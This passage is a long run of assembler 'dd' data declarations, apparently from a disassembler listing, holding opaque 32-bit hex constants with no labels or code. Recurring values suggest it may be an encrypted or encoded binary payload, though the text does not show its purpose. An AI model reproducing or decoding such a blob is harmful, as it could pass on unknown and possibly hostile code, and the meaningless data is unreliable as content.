		dd 452A7DE3h, 33A535Eh,	0C2198F4Fh, 4103A53Ch, 306AB71Fh
		dd 48E97C9Ah, 0D7266B41h, 300EB019h, 140C2F9Ah,	30699A6Ch
		dd 0DC72AF9Ah, 71687DD1h, 0D08E7AFAh, 2137D4Dh,	0C2198F4Fh
		dd 41348DE4h, 30695F02h, 30288F9Ah, 8F1F9C9Ah, 0A2B82696h
		dd 28B31C27h, 80DD1905h, 0AC69A188h, 306A9D2Fh,	31E1AA3Ah
		dd 486A9C9Ah, 306A9C83h, 16547607h, 0F691FEB5h,	3E067B4Ah
		dd 2F212A0Fh, 0B98E7306h, 31AD243Ch, 0D18AA18Bh, 32B7D99Eh
		dd 306A9A78h, 488F879Ah, 306A9C83h, 53540228h, 0B3BBA81Ah
		dd 2BF36590h, 9DC87E02h, 0B0EAE2FFh, 3061BD90h,	4F6A9C9Ah
		dd 306A9D37h, 5B908C8Bh, 4F280041h, 306A9D2Ch, 0B97174FFh
		dd 67E4B6Bh, 0B689E3DEh, 4BE3FC29h, 6FE1D3D3h, 0D0065EC8h
		dd 307A9D19h, 0DB897C9Ah, 7AEFA77Ah, 865B16FFh,	4EE917DAh
		dd 0EA89F312h, 7AEF9704h, 306A9D30h, 0A966BEB3h, 0AF3EB88Ah
		dd 488AB89Ah, 306A9DF9h, 2CA9B833h, 0CD30F506h,	49B48A19h
		dd 306A9DF8h, 31E9791Dh, 9FA349B0h, 3F0ABB39h, 306AADA2h
		dd 314B0E9Ah, 0F6D59853h, 3F3D0430h, 0CF8E73CFh, 27767D31h
		dd 86A9C9Ah, 0FB443C27h, 50F0FB92h, 0F9C8D4ABh,	1B133D60h
		dd 53E91768h, 0C28E6925h
		dd 1D312500h, 0A419B537h, 297DA09Dh, 30695EA5h,	0EFA4109Ah
		dd 77F5EA67h, 0E20947D1h, 0C00FDF34h, 15E11904h, 0A869A1B6h
		dd 306A9D3Dh, 0E0E544B2h, 0B861BEF8h, 0E0C6AE7Ah, 70E9FD04h
		dd 306A9D30h, 0A965DCB3h, 0B83EB89Ah, 333FC94Eh, 0C202A18Bh
		dd 1ECA8860h, 0A1687D37h, 306A9DF8h, 306AA9A2h,	0BEC14A9Ah
		dd 0C016B2C2h, 814686BAh, 0A7BA5F3Bh, 0E78F9519h, 77E9F804h
		dd 306A9D30h, 30668FBDh, 25E19C9Ah, 7D56709Eh, 0B0E37C97h
		dd 49FA6FEBh, 306A9C9Dh, 18DD3D23h, 0BD5BB124h,	79438805h
		dd 0C30D5A31h, 2E7678D4h, 56A9C9Ah, 0CDA3431h, 0A9C525E0h
		dd 4633131h, 297C6499h,	31C8259Fh, 488A9C9Ah, 306A9DFBh
		dd 0DF8ACD82h, 2DB9C9BEh, 302DA547h, 0E229C9Ah,	967AA28Bh
		dd 0F1B7A702h, 0AC1D78E8h, 111BAFB1h, 30648032h, 39C89C9Ah
		dd 0E780A449h, 5A622BA8h, 4C973573h, 0BA68EA4Dh, 306A9D3Ch
		dd 0B0B39D56h, 2161BD90h, 306AB779h, 0D0897C9Ah, 0D0B9D19Eh
		dd 333ED17Ah, 2077A18Bh, 9F6A9C9Ah, 9B06992Dh, 886AD728h
		dd 0A88340B1h, 59CB0109h, 0C05522A7h, 0B861BEFDh, 257145A2h
		dd 6E6A9C9Ah, 6B88070Bh, 5AD601B4h, 64752B7Fh, 0EFC48BF9h
		dd 0AEAE22F5h, 1D697861h, 30758037h, 75E89C9Ah,	89D52004h
		dd 122F5A5Eh, 997308C3h, 6CEAC5Dh, 0E702CCCBh, 0C219916Fh
		dd 7A109D4Eh, 306A9D3Ah, 14742D9Ah, 3065E5B0h, 25779C9Ah
		dd 726A9C9Ah, 0EBB2BD94h, 0CD0DF89Ch, 3708512Dh, 3737A5F7h
		dd 7018C03Dh, 0E407995Ch, 2A65A268h, 11151832h,	3703A6B9h
		dd 140C22A2h, 3065E5B0h, 328A9C9Ah, 30695F66h, 30288F9Ah
		dd 42E59C9Ah, 0DCBF2EAFh, 0F010A646h, 0BB647CB4h, 297C4C10h
		dd 306AA2A5h, 1A10EA9Ah, 2085EA33h, 0AA9D8E6h, 3339217Bh
		dd 2977A18Bh, 9D6A9C9Ah, 0F3AF4B0Bh, 0E09452A3h, 0D73CF5C1h
		dd 0F5DE5B93h, 0C1229895h, 0DED81831h, 0D1225FDCh, 0B5D927Fh
		dd 0D0C828DAh, 17577D58h, 0A3AB18D7h, 0FBA07CADh, 1633C64Dh
		dd 0BDF218DCh, 1E1071BDh, 691D6BBDh, 60EEA671h,	0FD3591DEh
		dd 0C2198EA9h, 86EF963Ch, 0BC4AFF0Bh, 0B7347DCAh, 9D32ECBFh
		dd 6BEE732Ah, 24B7925Bh, 0D05520DDh, 0D061BE31h, 134FFFBCh
		dd 0F968784Ah, 0B9E47D44h, 66EA5F4Eh, 0B86A9C9Ch, 306AB5A4h
		dd 0BACF369Ah, 8A3EF85Ah, 75A35B64h, 11D98450h,	1D2A87F2h
		dd 5CDA18CAh, 32BDF1EFh, 306AC0B1h, 0B5E7C9Ah, 0E48F95C3h
		dd 0FF296019h, 0C4EE7CE3h, 87465DC4h, 41024C02h, 306AAE05h
		dd 3BE9A99Ah, 216A9C9Ah, 306A99B3h, 33A759Ah, 0DE6B34ADh
		dd 134880BCh, 4CE91BA0h, 2BF01E1Fh, 74E9F0A7h, 0DEA06537h
		dd 9B86D8BCh, 4E510248h, 0DEB4986Fh, 3052449Eh,	0DB8A9C9Ah
		dd 2D778D7Ah, 606A9C9Ah, 5A372191h, 6E52EBA2h, 0D010FC71h
		dd 306AB5A4h, 2958FA9Ah, 21D37A07h, 22CD9E4Ch, 89696EC6h
		dd 67CC6D14h, 0D05520F2h, 0D061BE31h, 32F78DB1h, 306AA7B0h
		dd 0D08E7C9Ah, 0C2B089A4h, 2EAF5F4Eh, 4F6A9C9Ah, 306A9D3Eh
		dd 0C32B4656h, 71A9FC4Ch, 30338031h, 0C9E09C9Ah, 0E89CB3ADh
		dd 0D8454BB5h, 36A1AC71h, 1ECA38B1h, 26767D37h,	0C56A9C9Ah
		dd 4D01331Bh, 41144E4Eh, 6411047Bh, 0B8D7EB61h,	0A168E601h
		dd 306A9D33h, 0D0012ED4h, 0E9ED0B2h, 216FA1B6h,	30644DBEh
		dd 83EFB49Ah, 8F88C359h, 31B0239Fh, 0A9699C9Ah,	306A9C8Dh
		dd 306AADA5h, 0ACF1AD9Ah, 19321321h, 5D9D95FDh,	3558727Ah
		dd 0B76A9C9Ah, 9913B0B3h, 0B01498D5h, 9913B1EBh, 48897AD5h
		dd 306A9C81h, 0A7434EC6h, 0D2677586h, 7E845CE7h, 0A2010FF5h
		dd 32084448h, 0E78EE367h, 0C219916Fh, 9C4E1D4Eh, 3B0E45E3h
		dd 9CA61CA0h, 750E45E3h, 306A9D3Ah, 801D729Ah, 80A04CABh
		dd 0F96879ABh, 67C9DFAAh, 0B08E7040h, 306AA5BDh, 147C2F9Ah
		dd 0B9528062h, 827790CAh, 4F6A9D33h, 306A9C9Fh,	0D7C1C686h
		dd 9B02C9E4h, 0D7B4D0C4h, 31D280C8h, 0E4639C9Ah, 1F943343h
		dd 0B738366Eh, 306AA5BDh, 15DC2F9Ah, 0E01D7AD5h, 0A36026Ch
		dd 0DF1F99BDh, 4126E279h, 306A9D79h, 88F29F9Ah,	0AF6A9D6Fh
		dd 0AE69B932h, 306A9C89h, 4F21723Ah, 306A9C80h,	3B606D9Ah
		dd 0CE13B86Dh, 0C51EFFA5h, 8C9A0C5Bh, 4DBA1A13h, 0BC5D26D3h
		dd 3761BE31h, 314C189Fh, 0B7699C9Ah, 306A9DFFh,	0E730CF3Ah
		dd 6AE96BD4h, 0E61D7D4Eh, 306F9D6Ah, 0AEA02F9Ah, 75EFB92Ah
		dd 306A9D30h, 8E5D1AB2h, 3061B8CAh, 31DD189Fh, 0B5699C9Ah
		dd 306A9DFBh, 306AACA5h, 0DD09A69Ah, 3143C0F5h,	0EB085019h
		dd 87F0AAAAh, 44B7D77Fh, 0E2DA0446h, 0D87685F0h, 6A62FEF3h
		dd 0D836062Dh, 9ABDFEF3h, 5468EE70h, 0BA1057CFh, 59B6DD7Dh
		dd 5C708EE1h, 0D875FEF3h, 7C2763C7h, 0DD52FE5Ch, 0D87E56FFh
		dd 117AFEF3h, 0AB0DDA6h, 0BD1841DDh, 0F09A0449h, 0D875FE14h
		dd 891C7CC7h, 0D9F07CF1h, 5474FEF3h, 0D875FE53h, 63542BCEh
		dd 63AAF5D4h, 0F73507D4h, 0D875FEE9h, 8B1B3E69h, 817B2FCAh
		dd 0D8F80B3Eh, 6475FEF3h, 81DAB721h, 0D87947D3h, 8395FEF3h
		dd 0D072F115h, 6B75FEF3h, 74BDC800h, 5578C8FBh,	619BF1B3h
		dd 0D87544CBh, 0DDB0F5F3h, 0FF53CCFFh, 0D87939DCh, 1FFAFEF3h
		dd 0D875FE5Ah, 85D917D8h, 0D8750ECBh, 97EDCCF3h, 0D3E4755Dh
		dd 67EBF48Dh, 3478370Ch, 0DA95E99Bh, 0A787FB60h, 379AF514h
		dd 0CCEA3EBCh, 0E26D03A7h, 2275FEF3h, 0B533F28Eh, 0C86EA5C6h
		dd 0A75FEF3h, 0AE2B602Eh, 0E29B7BF0h, 0AAB89606h, 4F3CF60Bh
		dd 0EAF5D8A4h, 63740621h, 0D875FDBCh, 36417CDBh, 0D87C18A0h
		dd 0D8117AF0h, 5674FEF3h, 0D875FE53h, 0C0E282CEh, 607C19EAh
		dd 49744C21h, 0D875FE42h, 0E2476853h, 4974D8B4h, 0D875FD95h
		dd 0D87505CAh, 5D3E29F3h, 8EDD78B1h, 0D8793CAFh, 0F652FEF3h
		dd 5100F900h, 0C872DF5Dh, 2F75FEF3h, 56C84408h,	6A49CE4Ch
		dd 1F265CE7h, 3AF45458h, 0DB257A15h, 839503E4h,	0DADEF761h
		dd 0D875F973h, 780C8FF3h, 7869645Fh, 8AF0ACB5h,	602D709Ch
		dd 1827785Fh, 0CCD4AD58h, 5F75AF53h, 0D875FD95h, 6E836853h
		dd 0D87584F1h, 0F09AFEF3h, 0D875FD96h, 6BFC0EEEh, 555EF92Fh
		dd 9326D519h, 0D875FA07h, 566EA1F3h, 1DFA1990h,	0D875FE5Ah
		dd 0DFF50B53h, 5675FEF3h, 360EDEFEh, 0D57222DBh, 0F675FEF3h
		dd 0AA605528h, 0D0251B32h, 220A0288h, 288BF21Ch, 7BF68795h
		dd 0D1C57120h, 0D836E149h, 78C6FEF3h, 177550FEh, 0A4F352F3h
		dd 3EA25F8Eh, 4DC66D5Ah, 6F7086F4h, 0E4696EBCh,	4DC662CDh
		dd 94F3C5E1h, 36D8F20Eh, 0C448C8A2h, 3AC74DE1h,	4C587FD1h
		dd 49C662F4h, 4D84F82Ch, 0A03BF5F4h, 4DDCECC8h,	656762F4h
		dd 4DC7E2CBh, 4DC787A3h, 0CD3C8FF4h, 0B40BF38h,	6B0420D3h
		dd 9AE142CBh, 0B8DE39EDh, 4DC662F5h, 906E4CBCh,	46C68F4Fh
		dd 4DDAD5D4h, 868E62F4h, 0D19CC119h, 80350831h,	3391442Ch
		dd 98836F28h, 0E4C283CFh, 4DC662C5h, 0AE3B91E5h, 662ECD44h
		dd 0C8005516h, 0DA79EFF1h, 0CAD0918Fh, 0C4F28EC6h, 4106ECB3h
		dd 0D2C662F4h, 9416E13h, 31776671h, 0BAC662F4h,	319F4C73h
		dd 0AECACA0Dh, 70A5997h, 0A7A5CF32h, 0E4540D04h, 4DC662C3h
		dd 42DC6B43h, 5D00D861h, 4858F338h, 6DC28321h, 4DC674AAh
		dd 0AFBFDBF4h, 4EEE2598h, 0CAE05A83h, 95F74D34h, 4DC662F4h
		dd 4D07AACBh, 4DC662F4h, 0D32A6E4Dh, 4DC66E36h,	4DCDD5F4h
		dd 18F362F4h, 841E21F3h
		dd 2AD8E5B8h, 2F732CEh,	0CC0B4A5Fh, 4DC66DAEh, 0A01BF5F4h
		dd 4DC66EF9h, 6F6F6DF4h, 4DDCF3C8h, 0C4A362F4h,	49316149h
		dd 0E473D9D1h, 4E6FAC2Fh, 0AB8DD4B8h, 0CDE662CBh, 0B8DE3435h
		dd 4DC662F7h, 6C0AAFC9h, 4DD3D52Bh, 612562F4h, 5989845Ah
		dd 7AC0FCAFh, 8199F21Fh, 49BC4708h, 0A6648D77h,	38C9AF42h
		dd 3BD0B77Eh, 0F366D3EFh, 4EDB5789h, 2E67C19Bh,	0A9ECA79Fh
		dd 8757D558h, 2377C83h,	9F232BE2h, 3BDA7416h, 0FA57B8EFh
		dd 2D1FDF56h, 3BD0B577h, 0B6CAA6EFh, 4BACEF99h,	0C3D45871h
		dd 40F788Ah, 0A65A9038h, 3F363C00h, 3BD637E8h, 0BA6CB8EFh
		dd 7F8BE986h, 0A45BB72Bh, 20D0B8EFh, 3BD0C568h,	0BAF6BCEFh
		dd 819CB4C6h, 3B5731E8h, 6B6CB8EFh, 0BB34C414h,	62F0B3A2h
		dd 3BD0B8FFh, 4A1FF809h, 0CB97D7D0h, 9AB7BB50h,	0AD443602h
		dd 3BD0B27Eh, 47786CEFh, 0DAD7CDAEh, 3BD54D39h,	0E1D7B8EFh
		dd 0C934AC14h, 3BD0B3A2h, 3BDF9DEFh, 0B4CDB8EFh, 92E81431h
		dd 0BE5838AEh, 38C9D5E9h, 3BD0AA7Eh, 0CF92C9EFh, 4C21AA8Fh
		dd 765FA9Ch, 62C9874Ah,	3BD0B13Ch, 7373EFCFh, 7A1645C1h
		dd 3C7E25D3h, 0C3D0B8EFh, 0DC87E06Ah, 5A33474Fh, 4750F973h
		dd 9FCB3DE3h, 0E95A961Eh, 0BC801825h, 0E45826A8h, 3A57B7CEh
		dd 53D0B8EFh, 0C2103D3Ch, 9FD32AA4h, 3BDA7416h,	0BCF0B8EFh
		dd 3952B758h, 20D0B8EFh, 3BD0B863h, 0F12625EFh,	0DB642ECFh
		dd 3BD0B071h, 0AF7B5BEFh, 6EBC0389h, 0F95612F7h, 0DAF608D0h
		dd 3A33800Ah, 3AE534E8h, 0BBDDB8EFh, 3BD0B8E9h,	2702FC47h
		dd 30689F60h, 3BC29D58h, 0B558B8EFh, 0D9C45CF6h, 1E3D34D1h
		dd 0F822F827h, 77C018C5h, 1B54B689h, 20D0B8ECh,	3BD0C514h
		dd 8A3381EFh, 3E8A56E8h, 206CB8EFh, 3BD0C516h, 812CBCEFh
		dd 30B932E8h, 7768C758h, 7752B7D6h, 62D0B8EAh, 3BD0C797h
		dd 3D56EA50h, 488581BAh, 0B9DC1D9Bh, 306DC76Ah,	3BD0B27Eh
		dd 39A854EFh, 5359672Dh, 0BFDC269Bh, 306DC7C6h,	3BD090CFh
		dd 38D3B8EFh, 0D8501910h, 0D1F62783h, 53142ECEh, 427E25F6h
		dd 0C5D0B8EFh, 0C8740CECh, 0F5F474BDh, 0B5DC249Bh, 3BD0B443h
		dd 3BDF29E8h, 20F0B8EFh, 3BD0B817h, 0CC3325EFh,	372532EBh
		dd 0C3DDC758h, 3BD0B8E9h, 3F169D5Ah, 656CB8EFh,	4934B416h
		dd 6DD0B8EFh, 3BD92AE8h, 20F0B8EFh, 3BD0B86Fh, 0DAF618EFh
		dd 0BFD8A581h, 3BD0B40Fh, 395FB7CFh, 20D0B8EFh,	3BD0B814h
		dd 540C45EFh, 0E92D6658h, 3BCB90CEh, 0F06FB8EFh, 5A0768F4h
		dd 0DEE9FDA9h, 0C6B7B737h, 18E0E72Fh, 0B4DCFD19h, 3BD0B8EEh
		dd 4A003824h, 30ADE2F6h, 3A6DC758h, 69F71A5Dh, 208EB41Ch
		dd 3BD0B314h, 4DA5B7EFh, 4359B7F6h, 0DBD0B8EFh,	1EE6269h
		dd 0B8F6D0C2h, 307932B9h, 4EF67560h, 0B0299316h, 37F7D5BEh
		dd 306D237Eh, 2756B758h, 20D0B8ECh, 3BD0B26Ah, 3B57B7EFh
		dd 4ED0B8EFh, 0BFDF7D6Ah, 3BD0B4FFh, 3BD332E8h,	63F0B8EFh
		dd 3BD0B8FDh, 6B95231Ah, 66FA909Eh, 0BE60948h, 35C4D54Fh
		dd 0DB8FFD09h, 0A66A25C9h, 3338A51Ah, 3B239DE1h, 0D986B8EFh
		dd 875DD291h, 7BF283D4h, 475C99AAh, 9FCB3DE3h, 0F834C416h
		dd 72F0DE20h, 78159516h, 52F713E5h, 3BD0A37Eh, 0ABDCAEEFh
		dd 9609B40h, 5104B67h, 1036E876h, 7B70D980h, 0F68A06F6h
		dd 0DF4C255Eh, 3E3B0B99h, 48562722h, 0DF4C2546h, 73A0E346h
		dd 49D58AAFh, 27A6F4BCh, 0BBBE956Ch, 0FCD8B759h, 0F5603826h
		dd 0F4566351h, 6C0F30F4h, 3BD0AB7Eh, 85354BEFh,	0E34B48BEh
		dd 30C4AC28h, 3BD0B57Eh, 7CFEFBEFh, 10624A79h, 0F3CA2AF2h
		dd 77F513FDh, 0CEBEC56Eh, 257A8D45h, 0F4D0B8ECh, 29B2ADBBh
		dd 8A34E1F8h, 0E575233Ah, 1FE1400h, 6516448Eh, 0C93151E8h
		dd 8D8109A9h, 0BA6EDDF3h, 8D810A71h, 657E45F3h,	413151E8h
		dd 2F64F5DEh, 2F7EEC80h, 17D0B8ECh, 34E241C9h, 0D2258081h
		dd 2C39E070h, 0AFB2B792h, 6A965D50h, 8133FD0Eh,	721DC52Bh
		dd 405176BEh, 662EFCDEh, 3B2329E8h, 0D9F0B8EFh,	8031A569h
		dd 0EAAFD804h, 4F2625DEh, 4F27B986h, 3256B74Eh,	0DBD0B8ECh
		dd 4CC97EC0h, 3BD0A977h, 8F0BAEFh, 7C1B4B18h, 0AE019CF4h
		dd 0DA88B10Ah, 626E545Fh, 3BD0B8FFh, 0BAEA3E35h, 1C102643h
		dd 9363173Bh, 383EE42Ah, 3154443Fh, 241B47A3h, 31D68C6Ch
		dd 0A7B47A3h, 0C3428C6Ch, 0DB88C7C3h, 3BD029EBh, 8DDB8EFh
		dd 95964D5Dh, 0A6F6F26Eh, 3338A57Ah, 3BC29DE1h,	0FE95B8EFh
		dd 0B56C2614h, 0E1046AEDh, 0BBE44B8Eh, 625DBCCCh, 3BD0C79Eh
		dd 48395459h, 8F8B731Dh, 0D65A2A9Ch, 0DBD4DBF3h, 7286BE17h
		dd 201731F6h, 3BD73063h, 2558B7EFh, 62D0B8ECh, 3BD0C792h
		dd 7825EBD6h, 0DAF408A2h, 0F4EAECCAh, 3E557273h, 78D4DBFBh
		dd 8D880CFh, 0E37324B9h, 0EF485EBCh, 3BC19DCFh,	90B2B8EFh
		dd 58F45BA7h, 0AE74BD56h, 9B277420h, 0DCC428FBh, 3BD0A971h
		dd 0C5545CEFh, 9BA8DA0Ah, 0C754AE8Ch, 30F16149h, 333EB51Ah
		dd 387A80E1h, 54D0B8EFh, 338C3E13h, 0BE5D53FAh,	38CD3AC4h
		dd 3BC72BE8h, 3C7FB8EFh, 83D0B8EFh, 8ABC3783h, 0FBE04EC5h
		dd 0EB6C06F6h, 0DC7D1046h, 2F5FB8EEh, 306FBB80h, 3E7F27BFh
		dd 75D0B8EFh, 5D1A913Eh, 0D0162BC1h, 5F57AC0h, 201731CFh
		dd 3BD78663h, 3A54B7EFh, 52D0B8EFh, 254E3114h, 62F0BFE5h
		dd 3BD0B8E9h, 25D70824h, 67DE67C5h, 1FC32C86h, 0F95290D1h
		dd 90ECEC78h, 201731F6h, 3BD7ED63h, 0BE1581EFh,	38C8DCEDh
		dd 275EB72Bh, 20D0B8ECh, 3BD0B26Eh, 3B55B7EFh, 52D0B8EFh
		dd 0EDD39DF7h, 3BD09CA6h, 7FEEB8EFh, 0EC0B912Dh, 2AABC70Dh
		dd 53D4DAB6h, 0B1E93112h, 0D9F0BFF8h, 0BA91B907h, 0BA2A7371h
		dd 0EB6C25F6h, 3B2334E8h, 0D9F0B8EFh, 0C2946D69h, 531645C0h
		dd 0C28125F2h, 3F11454Ch, 0B4D0B8EFh, 2F55B474h, 2F5E1B80h
		dd 3BCC9C80h, 3876B8EFh, 0D22F1D11h, 7EB1E306h,	95F33F91h
		dd 0F731058Eh, 3700C725h, 0BEDF786Ah, 3BD0B8FFh, 0C2D880CFh
		dd 3BD0B8E2h, 0C74787C1h, 3BA69DC9h, 0C26CB8EFh, 9AF25F6Dh
		dd 3BE49DE0h, 0D443B8EFh, 28F1F937h, 0B971992Bh, 6C061076h
		dd 3F5FB8EFh, 44FF8F83h, 0C2D0B8C3h, 0D9F7D392h, 0D967AA18h
		dd 0DA8FA307h, 0D9EE3115h, 20F0BFF8h, 3BD0B169h, 0FC5612EFh
		dd 0BEDCED1Ah, 3BD0B8ECh, 30F625CFh, 0BDF78CBFh, 0DA062DAFh
		dd 0BED88797h, 3BD0C790h, 3BDC38E8h, 3D7FB8EFh,	0CBD0B8EFh
		dd 0E8B393C4h, 3649778Ah, 3A2E9CACh, 0BCDDB8EFh, 3BD0B8F0h
		dd 3BD0B57Eh, 0FA41E5EFh, 6984ACE9h, 9408CB9Ah,	0FC4BF268h
		dd 7F5EF7F7h, 0BEDCDB83h, 3BD0B8F3h, 3B55B7CFh,	63D0B8EFh
		dd 3BD0C79Eh, 14E6C204h, 9190DADh, 0DAF61ADEh, 0DB657346h
		dd 3BD0AB71h, 8CB621EFh, 0C66C771Bh, 0AC585D4h,	7C7845CEh
		dd 20F72493h, 3BD0C560h, 0A66481EFh, 3F363C00h,	5B5EE85Ah
		dd 3BD0B4EAh, 3F7F33EFh, 0D634B460h, 0DA34B411h, 0EA5812CEh
		dd 62F15A12h, 3BD0B8E1h, 0CF25DDA9h, 0E3F60C24h, 3BD70C4Dh
		dd 7234AC1Eh, 3BCE3FE8h, 2F7FB8EFh, 20D0B8ECh, 94178913h
		dd 175565D0h, 8EF8567Bh, 4BDEC08h, 0B416915Bh, 975FB44Ah
		dd 3A327A83h, 0F4D7B8EFh, 6289B3ECh, 3BD0B8F3h,	5A80C987h
		dd 1DB25026h, 2BC46A23h, 39A24A26h, 36B11BFCh, 3B5F4D26h
		dd 0FAD7B8EFh, 2759B514h, 3F1B4480h, 53D0B8EFh,	8662211Eh
		dd 3C7FBFE4h, 0D0D0B8EFh
		dd 20638462h, 33B61804h, 42F8AD10h, 0C2D0B8D1h,	53ACD39Ah
		dd 3AD0B8EFh, 437E2747h, 78D0B8EFh, 51DBC65Dh, 6A0B1C38h
		dd 3BD0AC0Eh, 0BC17C5EFh, 9F232BF9h, 62DA746Ch,	3BD0B8F3h
		dd 0E6E4603Eh, 2DA81050h, 0BB2A47Fh, 0B7D82AD4h, 4DBEA733h
		dd 3CA2211Eh, 0D9F0BFE4h, 30F17717h, 0BA8FD393h, 3BD0B3A2h
		dd 0F0F518EFh, 58598544h, 9FE4C7F6h, 9FDB2A83h,	4EDA746Ch
		dd 7BBD4D26h, 23FB3C8h,	3E1FDD27h, 34FCF809h, 0C2DC18CFh
		dd 3BD0B8EEh, 3BDA90F6h, 2D7DB8EFh, 0B0D3187Bh,	0B6740DBh
		dd 8CF61D87h, 2CD8296Ah, 7E52B7E1h, 20D0B8EFh, 3BD0A86Fh
		dd 3BE49DEFh, 3332B8EFh, 19FC86F2h, 0CA271C65h,	0E65AFB6Bh
		dd 20D4DA8Ah, 3BD7D36Dh, 3BE49DEFh, 459EB8EFh, 2A15617Ch
		dd 0F3BF994Dh, 0F56E2508h, 0BBDDB8E3h, 3BD0C796h, 3BD13FE8h
		dd 0DAF0B8EFh, 3F15BCC9h, 30EE2D83h, 0C9AFF7B5h, 3A0BB860h
		dd 73DBD423h, 3BD0A87Eh, 1A894EEFh, 0ADB75FBAh,	6FAED9F3h
		dd 0BBB2E6B2h, 9F9A7FF6h, 5E93EFE3h, 9F94C680h,	9FE345E3h
		dd 8E2030E3h, 9FC345F2h, 5EC9D3E3h, 9FEB45CFh, 39C7A4E3h
		dd 0D0A906F2h, 3A4E9D17h, 6DDFD433h, 546638CFh,	0DF2FAA19h
		dd 0A1DC25DDh, 3BD0B8E9h, 3BA3B7CFh, 20D0B8EFh,	3BD0B812h
		dd 698625EFh, 0E6D52AF7h, 0E9641AD1h, 41529A50h, 3821DE04h
		dd 5C028216h, 4A5E0865h, 721F3D39h, 3BD0A87Eh, 0B1275EFh
		dd 3E10040Ah, 61A84CCAh, 12B4D02h, 0C2A228BBh, 62D4DB2Bh
		dd 3BD0C792h, 377E7CACh, 0F2252152h, 51957EDAh,	2077C7F8h
		dd 3BD0AE14h, 0A1DC18EFh, 3BD0B8EFh, 0DBF61A3Ch, 3BFFE35Ah
		dd 6CD0B8EFh, 34598396h, 51338124h, 3AB534E8h, 0B5DDB8EFh
		dd 3BD0B8E3h, 4D5812CFh, 77F62730h, 0E754B777h,	62D0B8EEh
		dd 3BD0B8EAh, 62B6A4BBh, 20DCFBB8h, 3BD73B60h, 3BDE9DEFh
		dd 0FF47C6EFh, 16B6A4FCh, 357E0197h, 39378460h,	5016C5B5h
		dd 6C038C71h, 0F320BBB0h, 14D24BB1h, 5A92D7F3h,	6B16C5BFh
		dd 5016C13Bh, 5005DCBCh, 0BDB6C5BCh, 6DA01F66h,	0EE9F1D63h
		dd 7BE539Ah, 3F2979EEh,	560931B1h, 0D61FC5BCh, 5016C5A7h
		dd 5016C3D7h, 6C6026BCh, 0EF58D9C6h, 0D7279202h, 0FCA8C9FEh
		dd 46D4B901h, 639DD75Fh, 6B16C5BCh, 5016C534h, 4DDAECBCh
		dd 11EA2D6Fh, 3995937Ch, 2FC45AD5h, 1914DD3Fh, 31D5893Ah
		dd 34E444B9h, 0D13B545Dh, 0A78E11FEh, 0DEE5C495h, 62FD8CA6h
		dd 0A516C5BCh, 9DB846D4h, 0E4A29647h, 0C263F23Fh, 7D216Eh
		dd 0D04C50D0h, 3736C8CBh, 0B5AE6664h, 4D58CAC8h, 51E3D75Fh
		dd 4916C5BCh, 6B96BB3Ch, 5BEE433Bh, 501CDDC1h, 317AC5BCh
		dd 0E1A79BEBh, 0B8C639F0h, 50157412h, 2F32A237h, 5016C9D7h
		dd 798828BCh, 0E30AE4FEh, 9B619F4h, 9541CB53h, 5016C5A6h
		dd 2E6FEB3Fh, 3F15BE88h, 2E6FF33Fh, 3949BE88h, 5016C5A8h
		dd 59810A35h, 0C479C66Fh, 5D204CA7h, 41FB60D9h,	3EC913D7h
		dd 500632B1h, 66FDC5BCh, 6316C5BCh, 60E802F9h, 0D37F341h
		dd 1B3BBEC0h, 7AA95AF9h, 8E449667h, 5016C5BAh, 51531637h
		dd 280EB3CCh, 54CF4C5Ch, 50BEDD5Fh, 8676C5BCh, 5004DD24h
		dd 0BF8CC5BCh, 0F79F90D2h, 4258B44Bh, 84014A99h, 0B14FE8C4h
		dd 51AC846Fh, 0D916C5BCh, 40145CEFh, 394ECE35h,	5016C5B2h
		dd 1EC66371h, 1B3B047Dh, 4F9A2EB0h, 0AD92D7C5h,	6B16C5BCh
		dd 5016C83Fh, 501CDCBCh, 0C052C5BCh, 67FBA70Ch,	32A0FCA6h
		dd 8C1FC6Ah, 2C25A4F7h,	2F4CB198h, 8C1E33Fh, 26EDA4F7h
		dd 5016C502h, 57E4C4BCh, 0FC014AA2h, 5011F23Eh,	0D91FC5BCh
		dd 5016C5A8h, 5016C4D7h, 9220BABCh, 44713A72h, 0BD59B72Dh
		dd 0B95BAF5Bh, 20B0C33Ch, 5016B104h, 0D8C244BCh, 517D77A1h
		dd 0D8DA45FDh, 287D77A1h, 5A4BDDC0h, 5EFDC7C1h,	1216C5BCh
		dd 0F2A828B4h, 0A1DFA134h, 0BAA0D724h, 6698D6BEh, 3916C5BCh
		dd 5016C5B3h, 0DB2E0AA7h, 8F13CD47h, 0F1406831h, 0AC23316h
		dd 5A0F31B1h, 39EEC7C1h, 5016C594h, 5016BFD7h, 8C37BCBCh
		dd 152E819Eh, 0A0AFD75Ch, 0A1A7D75Ch, 0DA95655Fh, 0DD1FC7BEh
		dd 5BEFB9C7h, 5090D75Ch, 0B116C5BCh, 5BE977D6h,	5EFC66C1h
		dd 7A16C5BCh, 0ADEE99Ch, 56B62643h, 5010DE71h, 26F2C5BCh
		dd 0D0F54141h, 0B14D0AFEh, 5011EA3Eh, 0C9DC5BCh, 26476598h
		dd 4595586Eh, 0D947653Ah, 5CD745D9h, 0D116C5BCh, 5016B2D1h
		dd 0FC213EBCh, 0FC193D63h, 5016BFD6h, 0EDC50CBCh, 0D6E449E4h
		dd 0D1FA3D6Ch, 5016B2FCh, 5CC232BCh, 0B4329A39h, 39329A36h
		dd 5016C5B5h, 3B1198B4h, 4DAF6A35h, 0D126DA0Eh,	5016B2D3h
		dd 0FC293CBCh, 50144AB0h, 1E1C5BCh, 5004DDFCh, 0EDF0C5BCh
		dd 7DF0192Eh, 74917FEBh, 34495F6Ah, 84EF5653h, 67FCEE5Ch
		dd 3116C5BCh, 0AD0D2EE9h, 9EA86D40h, 0DE8A9AF1h, 353B2E0Eh
		dd 0D175C12Fh, 5016B2D3h, 0FC193CBCh, 9F9D0537h, 2144BA67h
		dd 0D0A48D0Fh, 0D04C0B8Fh, 369511CDh, 90D3E0F9h, 9E96B1DAh
		dd 27DB45A3h, 4853029Ch, 6B66BB3Ch, 50104D38h, 0EB1EEDBCh
		dd 5016C5BEh, 6B1E7AC0h, 5015E338h, 392AB9BCh, 5E8C31B1h
		dd 0DE1FC5BCh, 5016C59Fh, 0FEAC505Ch, 5001DE72h, 0A007C5BCh
		dd 42523E9Dh, 9FF808D2h, 1CDDD97Dh, 9678D0D8h, 0B14C19BAh
		dd 0DC1EEA83h, 5016C867h, 5016CAD7h, 3971B5BCh,	69380021h
		dd 0BC76C126h, 6BFA7A3Fh, 501A5E38h, 500ADCBCh,	0BD9C5BCh
